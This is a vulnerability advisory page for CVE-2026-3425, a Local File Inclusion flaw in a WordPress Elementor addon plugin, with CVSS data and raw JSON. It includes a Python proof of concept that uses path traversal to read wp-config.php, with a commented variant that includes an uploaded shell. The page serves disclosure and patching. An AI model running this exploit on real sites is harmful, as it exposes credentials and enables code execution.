Security Vulnerability Report
中文
CVE-2026-3425 CVSS 8.8 HIGH

CVE-2026-3425

Published: 2026-05-13 13:16:41
Last Modified: 2026-05-13 14:43:47

Description

The RTMKit Addons for Elementor plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.0.2 via the 'path' parameter of the 'get_content' AJAX action. This makes it possible for authenticated attackers, with Author-level access and above, to include and execute arbitrary PHP files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where PHP files can be uploaded and included.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

RTMKit Addons for Elementor <= 2.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-3425 Proof of Concept # Target: RTMKit Addons for Elementor <= 2.0.2 # Privileges: Author or higher required target_url = "http://example.com/wp-admin/admin-ajax.php" # Replace with a valid authenticated cookie of a user with Author role or higher cookies = { "wordpress_logged_in_12345": "your_cookie_value_here" } # The 'path' parameter is vulnerable to LFI # Example 1: Reading a sensitive configuration file data = { "action": "get_content", "path": "../../../../wp-config.php" } # Example 2: Including an uploaded malicious file (if file upload is possible) # data = { # "action": "get_content", # "path": "../../../../wp-content/uploads/2026/05/shell.php" # } try: response = requests.post(target_url, data=data, cookies=cookies) if response.status_code == 200: print("[+] Request successful. Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3425", "sourceIdentifier": "[email protected]", "published": "2026-05-13T13:16:41.090", "lastModified": "2026-05-13T14:43:46.717", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The RTMKit Addons for Elementor plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.0.2 via the 'path' parameter of the 'get_content' AJAX action. This makes it possible for authenticated attackers, with Author-level access and above, to include and execute arbitrary PHP files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where PHP files can be uploaded and included."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/rometheme-for-elementor/trunk/Inc/Core/PluginApi.php#L50", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3474369/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/396ecd5b-d351-4289-aea4-332af5101f10?source=cve", "source": "[email protected]"}]}}